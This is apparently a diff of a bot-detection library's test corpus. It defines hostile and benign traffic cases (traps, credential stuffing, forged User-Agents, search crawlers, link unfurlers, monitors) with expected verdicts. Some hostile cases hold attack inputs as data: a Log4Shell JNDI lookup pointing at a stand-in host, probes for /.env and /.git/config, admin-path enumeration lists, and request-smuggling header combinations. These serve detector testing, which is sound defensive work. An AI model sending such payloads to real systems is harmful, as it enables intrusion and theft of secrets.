+    id: "trap-path-followed",
+    title: "Following a link hidden from layout and from assistive technology",
+    audience: "unwanted-bot",
+    category: "trap",
+    provenance: "A link rendered off-screen with aria-hidden and tabindex=-1, and disallowed in robots.txt",
+    notes: "The only detector whose false-positive rate does not depend on how well the internet is behaving. It does not model what bots look like; it constructs a situation only a bot can be in.",
+    requests: [{ ...browser("chromeWindows"), path: "/internal/export.csv" }],
+    expect: { verdict: "confirmed-bot", certain: true, detectors: ["trap"] }
+  }),
+  bot({
+    id: "trap-field-filled",
+    title: "Filling a hidden form field",
+    audience: "hostile",
+    category: "trap",
+    provenance: "A honeypot input that is rendered but unreachable by pointer, keyboard or screen reader",
+    notes: "Rendering the field and forgetting to register its name with the detector is a mistake that fails silently \u2014 which is why this case declares the dependency rather than assuming it.",
+    requires: ["trap-form-field:company_url"],
+    requests: [{ ...browser("chromeWindows"), method: "POST", path: "/contact?company_url=http%3A%2F%2Fspam.example" }],
+    expect: { verdict: "confirmed-bot", certain: true, detectors: ["trap"] }
+  }),
+  // ---------------------------------------------------------------------------
+  // Attacks. Not this library's job to stop, but its job to describe.
+  // ---------------------------------------------------------------------------
+  bot({
+    id: "credential-stuffing-browserlike",
+    title: "Credential stuffing from a browser-shaped client",
+    audience: "hostile",
+    category: "attack",
+    provenance: "Modern stuffing runs through headless browsers with correct headers, at a steady rate",
+    notes: "Nothing here is provable, and that is the point of the `delay` action: a quarter of a second per attempt is imperceptible to a person filling in a form and removes the throughput the attack depends on, while excluding nobody.",
+    requests: Array.from({ length: 12 }, (_, index) => ({ ...browser("chromeWindows"), method: "POST", path: "/login", atMs: index * 900 })),
+    expect: { certain: false, neverAction: ["drop"] },
+    tags: ["attack"]
+  }),
+  bot({
+    id: "credential-stuffing-scripted",
+    title: "Credential stuffing from a bare script",
+    audience: "hostile",
+    category: "attack",
+    provenance: "The cheap version, and still the common one",
+    requests: Array.from({ length: 12 }, (_, index) => ({
+      headers: [["Host", "shop.example"], ["User-Agent", "python-requests/2.32.3"], ["Accept-Encoding", "gzip, deflate"], ["Accept", "*/*"], ["Content-Type", "application/x-www-form-urlencoded"]],
+      method: "POST",
+      path: "/login",
+      protocol: "https",
+      httpVersion: "1.1",
+      atMs: index * 250
+    })),
+    expect: { verdict: "confirmed-bot", botClass: "http-client", certain: true },
+    tags: ["attack"]
+  }),
+  bot({
+    id: "path-enumeration",
+    title: "Enumerating admin paths",
+    audience: "hostile",
+    category: "attack",
+    provenance: "Content discovery against a list of common paths",
+    requests: ["/admin", "/wp-admin", "/.env", "/.git/config", "/phpmyadmin", "/backup.zip", "/config.json", "/api/v1/users", "/actuator/env", "/server-status"].map((path, index) => ({
+      ...plain("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"),
+      path,
+      atMs: index * 80
+    })),
+    expect: { certain: false, neverAction: ["drop"] },
+    notes: "This library classifies traffic; it does not recognise attack payloads. For that, put a honeypot or a WAF alongside it.",
+    tags: ["attack", "known-limit"]
+  }),
+  bot({
+    id: "http2-connection-header",
+    title: "A hand-assembled HTTP/2 request carrying a connection-specific header",
+    audience: "hostile",
+    category: "protocol-abuse",
+    provenance: "RFC 9113 \xA78.2.2 forbids connection-specific header fields in HTTP/2 and requires endpoints to treat them as malformed",
+    notes: "One of very few deterministic signals available from a single request: every compliant client honours this, so a violation means the request was assembled by something that does not implement the protocol.",
+    requests: [{ headers: [["Host", "shop.example"], ["User-Agent", CHROME_UA], ["Accept", "*/*"], ["Connection", "keep-alive"], ["Transfer-Encoding", "chunked"]], protocol: "https", httpVersion: "2.0" }],
+    expect: { verdict: "confirmed-bot", certain: true, detectors: ["header-integrity"] }
+  }),
+  bot({
+    id: "ua-rotation-single-actor",
+    title: "One actor cycling through a User-Agent list",
+    audience: "unwanted-bot",
+    category: "evasion",
+    provenance: "A scraper rotating identities from a list, from one address",
+    notes: "Only meaningful when the actor key is narrower than an address \u2014 behind a NAT this shape is a busy office. The detector that catches it ships disabled for exactly that reason, so the default configuration is expected to miss this.",
+    requests: [
+      { ...plain(userAgentOf("chromeWindows")), path: "/p/1", atMs: 0 },
+      { ...plain(userAgentOf("firefoxWindows")), path: "/p/2", atMs: 400 },
+      { ...plain(userAgentOf("safariMac")), path: "/p/3", atMs: 800 },
+      { ...plain(userAgentOf("edgeWindows")), path: "/p/4", atMs: 1200 },
+      { ...plain(userAgentOf("chromeAndroid")), path: "/p/5", atMs: 1600 }
+    ],
+    expect: { certain: false, neverAction: ["drop"] },
+    tags: ["evasion", "known-limit"]
+  }),
+  // ---------------------------------------------------------------------------
+  // Fabricated User-Agents. Not a copied one — an assembled one.
+  //
+  // A scraping stack that reaches for a "random user agent" package gets a string
+  // drawn from independent lists of browsers, versions and platforms, and nothing in
+  // the package checks that the combination is a build that shipped. The result reads
+  // convincingly to a human eye and describes a client that has never existed.
+  // ---------------------------------------------------------------------------
+  bot({
+    id: "ua-forged-chrome-on-iphone",
+    title: "A randomised User-Agent claiming Chrome on an iPhone",
+    audience: "unwanted-bot",
+    category: "ua-forgery",
+    provenance: "The commonest output of a UA-randomiser: a desktop Chrome token glued to an iOS platform block",
+    notes: "Apple requires every iOS browser to use the system WebKit, so Chrome for iOS reports CriOS and an AppleWebKit build of 605.1.15. A string with iPhone, Chrome/ and AppleWebKit/537.36 in it is describing a browser Apple does not permit to exist. Still not `certain`: a person running a UA-spoofing extension produces fabricated strings too.",
+    requests: [{ ...plain("Mozilla/5.0 (iPhone; CPU iPhone OS 17_5 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Mobile Safari/537.36", [["Accept-Language", "en-US,en;q=0.9"], ["Accept-Encoding", "gzip, deflate, br"]]) }],
+    expect: { certain: false, detectors: ["ua-coherence"], neverAction: ["block", "drop"] },
+    tags: ["evasion", "ua-forgery"]
+  }),
+  bot({
+    id: "ua-forged-two-platforms",
+    title: "A User-Agent naming Windows and macOS at once",
+    audience: "unwanted-bot",
+    category: "ua-forgery",
+    provenance: "A template concatenated with a platform block that was already there",
+    requests: [{ ...plain("Mozilla/5.0 (Windows NT 10.0; Win64; x64; Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36", [["Accept-Language", "en-GB,en;q=0.9"], ["Accept-Encoding", "gzip, deflate, br"]]) }],
+    expect: { certain: false, detectors: ["ua-coherence"], neverAction: ["block", "drop"] },
+    tags: ["evasion", "ua-forgery"]
+  }),
+  bot({
+    id: "ua-forged-gecko-in-webkit",
+    title: "A User-Agent claiming Firefox with an AppleWebKit engine",
+    audience: "unwanted-bot",
+    category: "ua-forgery",
+    provenance: "A Chromium template with the browser token swapped for Firefox and the engine block left alone",
+    notes: "Gecko has never reported AppleWebKit. Firefox on iOS is WebKit and says FxiOS, never Firefox/.",
+    requests: [{ ...plain("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/141.0", [["Accept-Language", "en-US,en;q=0.5"], ["Accept-Encoding", "gzip, deflate, br"]]) }],
+    expect: { certain: false, detectors: ["ua-coherence"], neverAction: ["block", "drop"] },
+    tags: ["evasion", "ua-forgery"]
+  }),
+  bot({
+    id: "ua-stranded-chrome-on-windows-7",
+    title: "Current Chrome on a Windows release Chrome no longer supports",
+    audience: "unwanted-bot",
+    category: "ua-forgery",
+    provenance: "Randomised platform blocks still carry Windows NT 6.1 long after Chrome stopped shipping for it",
+    notes: "The weakest thing `ua-coherence` reports, and deliberately so. Google's last Windows 7 release was Chrome 109, but Supermium and Thorium ship current Chromium on retired Windows to a real if small population \u2014 so this is `moderate`, it is one signal among several, and on its own it does nothing but tag.",
+    requests: [{ ...browser("chromeWindows"), headers: browser("chromeWindows").headers.map((header) => header[0] === "User-Agent" ? ["User-Agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36"] : header) }],
+    expect: { certain: false, detectors: ["ua-coherence"], maxScore: 45, neverAction: ["block", "drop"] },
+    tags: ["evasion", "ua-forgery", "known-cost"]
+  }),
+  // ---------------------------------------------------------------------------
+  // Wordlists. What the request asks for, rather than who is asking.
+  //
+  // These carry a real browser's header set, in a real browser's order, with the
+  // Client Hints intact — everything the consistency detectors read is correct,
+  // because the client copied it correctly. What gives them away is that no link on
+  // any site points at what they are asking for.
+  // ---------------------------------------------------------------------------
+  bot({
+    id: "probe-env-file",
+    title: "A header-perfect client asking for /.env",
+    audience: "hostile",
+    category: "wordlist-probe",
+    provenance: "The single most-requested path on the internet that no site intends to serve",
+    notes: "Never `certain`. A URL is client-supplied text, and the client supplying it might be a security engineer testing their own site \u2014 which is why the answer is a challenge rather than a closed door.",
+    requests: [{ ...browser("chromeWindows"), path: "/.env" }],
+    expect: { certain: false, detectors: ["probe-signature"], neverAction: ["block", "drop"] },
+    tags: ["scanning"]
+  }),
+  bot({
+    id: "probe-git-config",
+    title: "Walking a version-control directory",
+    audience: "hostile",
+    category: "wordlist-probe",
+    provenance: "Exposed .git directories are harvested continuously; the config file names the remote",
+    requests: [
+      { ...browser("chromeWindows"), path: "/.git/config", atMs: 0 },
+      { ...browser("chromeWindows"), path: "/.git/HEAD", atMs: 900 }
+    ],
+    expect: { certain: false, detectors: ["probe-signature"], neverAction: ["block", "drop"] },
+    tags: ["scanning"]
+  }),
+  bot({
+    id: "probe-log4shell-parameter",
+    title: "A JNDI lookup in a query parameter",
+    audience: "hostile",
+    category: "wordlist-probe",
+    provenance: "CVE-2021-44228 scanning has never stopped; the payload is sprayed into every parameter and header a crawler can reach",
+    requests: [{ ...browser("chromeWindows"), path: "/search?q=%24%7Bjndi%3Aldap%3A%2F%2Fscanner.example%2Fa%7D" }],
+    expect: { certain: false, detectors: ["probe-signature"], neverAction: ["block", "drop"] },
+    tags: ["scanning"]
+  }),
+  bot({
+    id: "probe-trace-method",
+    title: "A TRACE request",
+    audience: "hostile",
+    category: "wordlist-probe",
+    provenance: "Cross-site tracing checks whether a server echoes the request back, including headers a script cannot read",
+    requests: [{ ...plain(CHROME_UA), method: "TRACE" }],
+    expect: { certain: false, detectors: ["probe-signature"], neverAction: ["block", "drop"] },
+    tags: ["scanning"]
+  }),
+  // ---------------------------------------------------------------------------
+  // Framing. A message that disagrees with itself about where it ends.
+  // ---------------------------------------------------------------------------
+  bot({
+    id: "smuggling-content-length-and-transfer-encoding",
+    title: "A request carrying both Content-Length and Transfer-Encoding",
+    audience: "hostile",
+    category: "protocol-abuse",
+    provenance: "RFC 9112 \xA76.1 requires a message with both to be treated as malformed; the disagreement between two servers in a chain is the mechanism of request smuggling",
+    notes: "Proven, like the HTTP/2 case above and for the same reason: every implementation removes one before sending, so a message with both was framed by hand.",
+    requests: [
+      {
+        headers: [["Host", "shop.example"], ["User-Agent", CHROME_UA], ["Accept", "*/*"], ["Content-Type", "application/x-www-form-urlencoded"], ["Content-Length", "6"], ["Transfer-Encoding", "chunked"]],
+        method: "POST",
+        protocol: "https",
+        httpVersion: "1.1"
+      }
+    ],
+    expect: { verdict: "confirmed-bot", certain: true, detectors: ["header-integrity"] },
+    tags: ["protocol"]
+  }),
+  bot({
+    id: "smuggling-duplicate-host",
+    title: "A request with two Host headers",
+    audience: "hostile",
+    category: "protocol-abuse",
+    provenance: "RFC 9112 \xA73.2 permits exactly one Host field; a second makes the request target ambiguous between hops",
+    requests: [
+      {
+        headers: [["Host", "shop.example"], ["Host", "internal.shop.example"], ["User-Agent", CHROME_UA], ["Accept", "*/*"]],
+        protocol: "https",
+        httpVersion: "1.1"
+      }
+    ],
+    expect: { verdict: "confirmed-bot", certain: true, detectors: ["header-integrity"] },
+    tags: ["protocol"]
+  })
+];
+
+// src/corpus/benign-bots.ts
+function declared(id, title, category, userAgent, provenance, identity, extra) {
+  return bot({
+    id,
+    title,
+    audience: "benign-bot",
+    category,
+    provenance,
+    requests: [plain(userAgent)],
+    expect: { verdict: "confirmed-bot", certain: true, identity, detectors: ["self-identified"] },
+    ...extra
+  });
+}
+var CRAWLER_HEADERS = [
+  ["Host", "shop.example"],
+  ["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"],
+  ["Accept-Encoding", "gzip, deflate, br"],
+  ["From", "googlebot(at)googlebot.com"]
+];
+var VERIFIED = { verdict: "verified-bot", certain: true, detectors: ["crawler-verification"] };
+var BENIGN_BOT_CASES = [
+  // ---------------------------------------------------------------------------
+  // Search crawlers whose identity can actually be confirmed. These are the cases
+  // that must reach `verified-bot`, because a policy that allows verified crawlers
+  // is worthless if verification never succeeds.
+  // ---------------------------------------------------------------------------
+  bot({
+    id: "googlebot-verified",
+    title: "Googlebot, confirmed by forward-confirmed reverse DNS",
+    audience: "benign-bot",
+    category: "search-crawler",
+    provenance: "Google documents FCrDNS under googlebot.com as the verification method",
+    requests: [{ headers: [["User-Agent", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"], ...CRAWLER_HEADERS], ip: GOOGLEBOT_IP, protocol: "https", httpVersion: "1.1" }],
+    dns: { reverse: { [GOOGLEBOT_IP]: [GOOGLEBOT_PTR] }, forward: { [GOOGLEBOT_PTR]: [GOOGLEBOT_IP] } },
+    expect: { ...VERIFIED, identity: "googlebot" },
+    tags: ["verification"]
+  }),
+  bot({
+    id: "googlebot-smartphone-verified",
+    title: "Googlebot Smartphone, confirmed by DNS",
+    audience: "benign-bot",
+    category: "search-crawler",
+    provenance: "Google crawls mobile-first; the UA embeds a full Android Chrome string",
+    requests: [
+      {
+        headers: [["User-Agent", "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/W.X.Y.Z Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"], ...CRAWLER_HEADERS],
+        ip: GOOGLEBOT_IP,
+        protocol: "https",
+        httpVersion: "1.1"
+      }
+    ],
+    dns: { reverse: { [GOOGLEBOT_IP]: [GOOGLEBOT_PTR] }, forward: { [GOOGLEBOT_PTR]: [GOOGLEBOT_IP] } },
+    expect: { ...VERIFIED, identity: "googlebot" },
+    notes: "The UA embeds a complete Chrome string. Nothing may read that half and conclude the client is a browser.",
+    tags: ["verification"]
+  }),
+  bot({
+    id: "bingbot-verified",
+    title: "Bingbot, confirmed by DNS under search.msn.com",
+    audience: "benign-bot",
+    category: "search-crawler",
+    provenance: "Microsoft documents FCrDNS under search.msn.com",
+    requests: [{ headers: [["User-Agent", "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"], ...CRAWLER_HEADERS], ip: BINGBOT_IP, protocol: "https", httpVersion: "1.1" }],
+    dns: { reverse: { [BINGBOT_IP]: [BINGBOT_PTR] }, forward: { [BINGBOT_PTR]: [BINGBOT_IP] } },
+    expect: { ...VERIFIED, identity: "bingbot" },
+    tags: ["verification"]
+  }),
+  bot({
+    id: "googlebot-dns-unavailable",
+    title: "Googlebot when the resolver is not answering",
+    audience: "benign-bot",
+    category: "search-crawler",
+    provenance: "A DNS outage must not turn every crawler into an accused forgery",
+    notes: "The single most important negative case in the corpus. Silence is not disproof: the verdict falls back to the honest self-declaration, and the crawler is never accused of impersonation.",
+    // A different address from the verified case on purpose: DNS answers are cached
+    // by address, so reusing it would resolve from the cache and never exercise the
+    // unavailable path at all.
+    requests: [{ headers: [["User-Agent", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"], ...CRAWLER_HEADERS], ip: "66.249.66.99", protocol: "https", httpVersion: "1.1" }],
+    dns: { unavailable: true },
+    expect: { verdict: "confirmed-bot", botClass: "declared-bot", certain: true, identity: "googlebot", notDetectors: ["crawler-verification"] },
+    tags: ["verification", "regression"]
+  }),
+  bot({
+    id: "duckduckbot-in-range",
+    requires: ["crawler-ranges"],
+    title: "DuckDuckBot from its published range",
+    audience: "benign-bot",
+    category: "search-crawler",
+    provenance: "DuckDuckGo publishes an address list rather than PTR records",
+    requests: [{ ...plain("Mozilla/5.0 (compatible; DuckDuckBot-Https/1.1; https://duckduckgo.com/duckduckbot)"), ip: IN_RANGE["duckduckbot"] }],
+    expect: { ...VERIFIED, identity: "duckduckbot" },
+    tags: ["verification"]
+  }),
+  // ---------------------------------------------------------------------------
+  // Search crawlers taken at their word.
+  // ---------------------------------------------------------------------------
+  declared("yandexbot", "YandexBot", "search-crawler", "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)", "Yandex publishes FCrDNS under yandex.ru/net/com", "yandexbot"),
+  declared("baiduspider", "Baiduspider", "search-crawler", "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)", "Baidu publishes FCrDNS under baidu.com", "baiduspider"),
+  declared("applebot", "Applebot", "search-crawler", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)", "Powers Siri and Spotlight suggestions", "applebot"),
+  declared("seznambot", "SeznamBot", "search-crawler", "Mozilla/5.0 (compatible; SeznamBot/4.0; +http://napoveda.seznam.cz/seznambot-intro/)", "The dominant search engine in Czechia", "seznambot"),
+  declared("naver-yeti", "Naver Yeti", "search-crawler", "Mozilla/5.0 (compatible; Yeti/1.1; +http://naver.me/spd)", "The dominant search engine in South Korea", "naver-yeti"),
+  declared("petalbot", "PetalBot", "search-crawler", "Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)", "Huawei's search crawler", "petalbot"),
+  declared("qwantbot", "Qwantbot", "search-crawler", "Mozilla/5.0 (compatible; Qwantbot/1.0; +https://help.qwant.com/bot/)", "A privacy-focused European search engine", "qwantbot"),
+  declared("mojeekbot", "MojeekBot", "search-crawler", "Mozilla/5.0 (compatible; MojeekBot/0.11; +https://www.mojeek.com/bot.html)", "An independent index \u2014 the kind of crawler a blanket block quietly kills", "mojeek"),
+  declared("marginalia", "Marginalia Search", "search-crawler", "Mozilla/5.0 (compatible; Mozilla/5.0; +https://search.marginalia.nu/)", "A small independent index", "marginalia"),
+  declared("sogou", "Sogou Spider", "search-crawler", "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)", "A major Chinese search engine", "sogou"),
+  // Google's specialist fleet. Blocking these breaks Search Console, Ads and
+  // Merchant Center in ways that are hard to trace back to a bot rule.
+  declared("google-inspectiontool", "Google-InspectionTool", "search-crawler", "Mozilla/5.0 (compatible; Google-InspectionTool/1.0;)", "What Search Console's URL Inspection uses; blocking it breaks your own diagnostics", "googlebot"),
+  declared("storebot-google", "Storebot-Google", "search-crawler", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 (compatible; Storebot-Google/1.0; +http://www.google.com/bot.html)", "Crawls product pages for Google Shopping and Merchant Center listings", "googlebot"),
+  declared("googleother", "GoogleOther", "search-crawler", "Mozilla/5.0 (compatible; GoogleOther)", "Google's internal one-off crawls, separated from Search", "googlebot"),
+  declared("adsbot-google", "AdsBot-Google", "advertising", "AdsBot-Google (+http://www.google.com/adsbot.html)", "Checks landing-page quality; blocking it degrades ad quality scores", "adsbot-google"),
+  declared("mediapartners-google", "Mediapartners-Google", "advertising", "Mediapartners-Google", "Crawls pages carrying AdSense units to choose relevant ads", "adsbot-google"),
+  declared("feedfetcher-google", "Feedfetcher-Google", "feed-reader", "FeedFetcher-Google; (+http://www.google.com/feedfetcher.html)", "Fetches feeds for Google products", "feedfetcher"),
+  // ---------------------------------------------------------------------------
+  // Link unfurlers. Every one of these renders a share card somewhere; blocking
+  // them turns every shared link into a bare URL.
+  // ---------------------------------------------------------------------------
+  bot({
+    id: "facebook-external-hit-in-range",
+    requires: ["crawler-ranges"],
+    title: "facebookexternalhit from Meta's published range",
+    audience: "benign-bot",
+    category: "link-unfurler",
+    provenance: "Meta publishes its crawler ranges; no usable PTR records",
+    requests: [{ ...plain("facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)"), ip: IN_RANGE["facebook-external"] }],
+    expect: { ...VERIFIED, identity: "facebook-external" },
+    tags: ["verification"]
+  }),
+  declared("twitterbot", "Twitterbot", "link-unfurler", "Twitterbot/1.0", "Renders X/Twitter card previews", "twitterbot"),
+  declared("linkedinbot", "LinkedInBot", "link-unfurler", "LinkedInBot/1.0 (compatible; Mozilla/5.0; Apache-HttpClient +http://www.linkedin.com)", "Renders LinkedIn share previews. Note it also names Apache-HttpClient \u2014 a client that is honest about being built on a library.", "linkedinbot"),
+  declared("slackbot-linkexpanding", "Slackbot-LinkExpanding", "link-unfurler", "Slackbot-LinkExpanding 1.0 (+https://api.slack.com/robots)", "Unfurls links pasted into Slack channels", "slackbot"),
+  declared("slackbot-imgproxy", "Slack image proxy", "link-unfurler", "Slack-ImgProxy (+https://api.slack.com/robots)", "Fetches images for Slack previews", "slackbot"),
+  declared("discordbot", "Discordbot", "link-unfurler", "Mozilla/5.0 (compatible; Discordbot/2.0; +https://discordapp.com)", "Renders Discord embeds", "discordbot"),
+  declared("telegrambot", "TelegramBot", "link-unfurler", "TelegramBot (like TwitterBot)", "Renders Telegram link previews", "telegrambot"),
+  declared("whatsapp-preview", "WhatsApp link preview", "link-unfurler", "WhatsApp/2.24.17.79 A", "Fetches Open Graph tags when a link is shared in a chat", "whatsapp"),
+  declared("redditbot", "Redditbot", "link-unfurler", "Mozilla/5.0 (compatible; redditbot/1.0; +http://www.reddit.com/feedback)", "Renders Reddit link previews", "redditbot"),
+  declared("pinterestbot", "Pinterestbot", "link-unfurler", "Mozilla/5.0 (compatible; Pinterestbot/1.0; +http://www.pinterest.com/bot.html)", "Powers Pin previews and rich pins", "pinterestbot"),
+  declared("mastodon-preview", "Mastodon link preview", "link-unfurler", "http.rb/5.1.1 (Mastodon/4.3.1; +https://mastodon.social/)", "Fediverse servers fetch previews individually, so one shared link can arrive from hundreds of hosts at once", "mastodon"),
+  declared("embedly", "Embedly", "link-unfurler", "Mozilla/5.0 (compatible; Embedly/0.2; +http://support.embed.ly/)", "Powers previews for many products that do not fetch links themselves", "embedly"),
+  // ---------------------------------------------------------------------------
+  // Monitoring. Usually yours. If any of these is blocked you find out during an
+  // incident, from a monitor that was reporting a false green.
+  // ---------------------------------------------------------------------------
+  bot({
+    id: "uptimerobot-in-range",
+    requires: ["crawler-ranges"],
+    title: "UptimeRobot from its published range",
+    audience: "benign-bot",
+    category: "monitoring",
+    provenance: "UptimeRobot publishes its checking addresses",
+    requests: [{ ...plain("Mozilla/5.0+(compatible; UptimeRobot/2.0; http://www.uptimerobot.com/)"), ip: IN_RANGE["uptimerobot"] }],
+    expect: { ...VERIFIED, identity: "uptimerobot" },
+    tags: ["verification"]
+  }),
+  declared("pingdom", "Pingdom", "monitoring", "Mozilla/5.0 (compatible; Pingdom.com_bot_version_1.4_(http://www.pingdom.com/))", "Synthetic uptime checks", "pingdom"),
+  declared("statuscake", "StatusCake", "monitoring", "Mozilla/5.0 (compatible; StatusCake)", "Synthetic uptime checks from a distributed pool", "statuscake"),
+  declared("better-uptime", "Better Stack", "monitoring", "Better Uptime Bot Mozilla/5.0 (compatible; BetterStack/1.0; +https://betterstack.com)", "Synthetic uptime checks, formerly Better Uptime", "betteruptime"),
+  declared("site24x7", "Site24x7", "monitoring", "Mozilla/5.0 (compatible; Site24x7/1.0; +https://www.site24x7.com)", "Synthetic uptime and transaction monitoring", "site24x7"),
+  declared("lighthouse", "Chrome Lighthouse", "monitoring", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36 Chrome-Lighthouse", "Performance auditing, often run by your own CI", "google-pagespeed"),
+  declared("gtmetrix", "GTmetrix", "monitoring", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 GTmetrix", "Performance testing on request", "gtmetrix"),
+  declared("datadog-synthetics", "Datadog Synthetics", "monitoring", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Datadog/Synthetics", "Synthetic API and browser checks", "datadog"),
+  // ---------------------------------------------------------------------------
+  // Feeds and podcasts. A real slice of a publisher's audience arrives this way,
+  // and none of it runs JavaScript.
+  // ---------------------------------------------------------------------------
+  declared("feedly", "Feedly", "feed-reader", "Feedly/1.0 (+http://www.feedly.com/fetcher.html; 870 subscribers; like FeedFetcher-Google)", "Podnews RSS user-agent list; the subscriber count is real information a publisher wants", "feedly"),
+  declared("inoreader", "Inoreader", "feed-reader", "Inoreader/1.0 (+http://www.inoreader.com/feed-fetcher; 195 subscribers; )", "Podnews RSS user-agent list", "inoreader"),
+  declared("freshrss", "FreshRSS", "feed-reader", "FreshRSS/1.29.1 (Linux; https://freshrss.org)", "Podnews RSS user-agent list; self-hosted, so it arrives from a subscriber's own server", "freshrss"),
+  declared("netnewswire", "NetNewsWire", "feed-reader", "NetNewsWire (RSS Reader; https://netnewswire.com/)", "Podnews RSS user-agent list", "netnewswire"),
+  declared("miniflux", "Miniflux", "feed-reader", "Mozilla/5.0 (compatible; Miniflux/2.2.3; +https://miniflux.app)", "Self-hosted feed reader; arrives from a subscriber's own server rather than a vendor's", "rss-reader"),
+  declared("overcast", "Overcast", "podcast-client", "Overcast/1.0 Podcast Sync (210 subscribers; feed-id=735461; +http://overcast.fm/)", "Podnews RSS user-agent list", "overcast", { audience: "benign-bot" }),
+  declared("pocketcasts", "Pocket Casts", "podcast-client", "PocketCasts/1.0 (Pocket Casts Feed Parser; +http://pocketcasts.com/)", "Podnews RSS user-agent list", "pocketcasts"),
+  declared("antennapod", "AntennaPod", "podcast-client", "AntennaPod/3.12.0", "Podnews RSS user-agent list", "antennapod"),
+  declared("podcastaddict", "Podcast Addict", "podcast-client", "PodcastAddict/v5 (+https://podcastaddict.com/; Android podcast app)", "Podnews RSS user-agent list", "podcastaddict"),
+  bot({
+    id: "spotify-podcast-fetch",
+    title: "Spotify fetching a podcast feed",
+    audience: "benign-bot",
+    category: "podcast-client",
+    provenance: "Podnews RSS user-agent list records Spotify's fetcher as the bare token 'Spotify/1.0'",
+    notes: "A two-token User-Agent with no contact URL and no recognisable product. It is honest automation from a major platform that nonetheless looks like a hand-rolled script \u2014 which is exactly why an unrecognised bare token is `strong` rather than `certain`.",
+    requests: [plain("Spotify/1.0")],
+    expect: { verdict: "suspected-bot", botClass: "http-client", certain: false, neverAction: ["drop"] }
+  }),
+  bot({
+    id: "apple-podcasts-fetch",
+    title: "Apple Podcasts fetching a feed",
+    audience: "benign-bot",
+    category: "podcast-client",
+    provenance: "Podnews records Apple Podcasts as 'iTMS'",
+    notes: "Four characters, no version, no contact. Legible only because the database has an entry for it \u2014 and a reminder that honest automation is under no obligation to be legible.",
+    requests: [plain("iTMS")],
+    expect: { verdict: "confirmed-bot", certain: true, identity: "apple-podcasts", neverAction: ["drop"] }
+  }),
+  // ---------------------------------------------------------------------------
+  // Archives.
+  // ---------------------------------------------------------------------------
+  declared("internet-archive", "Internet Archive", "archive", "Mozilla/5.0 (compatible; archive.org_bot +http://archive.org/details/archive.org_bot)", "The Wayback Machine, which preserves pages long after the site that served them", "ia-archiver"),
+  declared("heritrix", "Heritrix", "archive", "Mozilla/5.0 (compatible; heritrix/3.4.0 +https://webrecorder.net)", "The crawler behind many institutional web archives", "heritrix")
+];
+
+// src/corpus/crawlers-regional.ts
+function declaredCrawler(id, title, userAgent, provenance, options = {}) {
+  return bot({
+    id,
+    title,
+    audience: options.audience ?? "benign-bot",
+    category: "regional-crawler",
+    provenance,
+    ...options.notes !== void 0 ? { notes: options.notes } : {},
+    requests: [crawler(userAgent, options.from !== void 0 ? { from: options.from } : {})],
+    expect: {
+      verdict: "confirmed-bot",
+      certain: true,
+      detectors: ["self-identified"],
+      ...options.identity !== void 0 ? { identity: options.identity } : {}
+    }
+  });
+}
+var REGIONAL_CRAWLER_CASES = [
+  // ---- East Asia ----
+  declaredCrawler("rc-naver-yeti", "Naver Yeti", "Mozilla/5.0 (compatible; Yeti/1.1; +https://naver.me/spd)", "The dominant search engine in South Korea; Naver's share there exceeds Google's", { identity: "naver-yeti" }),
+  declaredCrawler("rc-naver-yeti-mobile", "Naver Yeti, mobile crawl", "Mozilla/5.0 (Linux; U; Android 11; ko-kr;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Yeti-Mobile/0.1; +https://naver.me/spd)", "Naver crawls mobile-first, like Google", { identity: "naver-yeti" }),
+  declaredCrawler("rc-daum", "Daumoa", "Mozilla/5.0 (compatible; Daumoa/4.0; +https://cs.daum.net/faq/15/4118.html)", "Kakao's search crawler, the second Korean index"),
+  declaredCrawler("rc-baidu-mobile", "Baiduspider, mobile crawl", "Mozilla/5.0 (Linux;u;Android 4.2.2;zh-cn;) AppleWebKit/534.46 (KHTML,like Gecko) Version/5.1 Mobile Safari/10600.6.3 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)", "Baidu's rendering crawler; note the frozen Android 4.2.2 device string", { identity: "baiduspider" }),
+  declaredCrawler("rc-baidu-image", "Baiduspider-image", "Baiduspider-image+(+http://www.baidu.com/search/spider.htm)", "Baidu's image crawler uses a bare, unusual User-Agent with a doubled plus", { identity: "baiduspider" }),
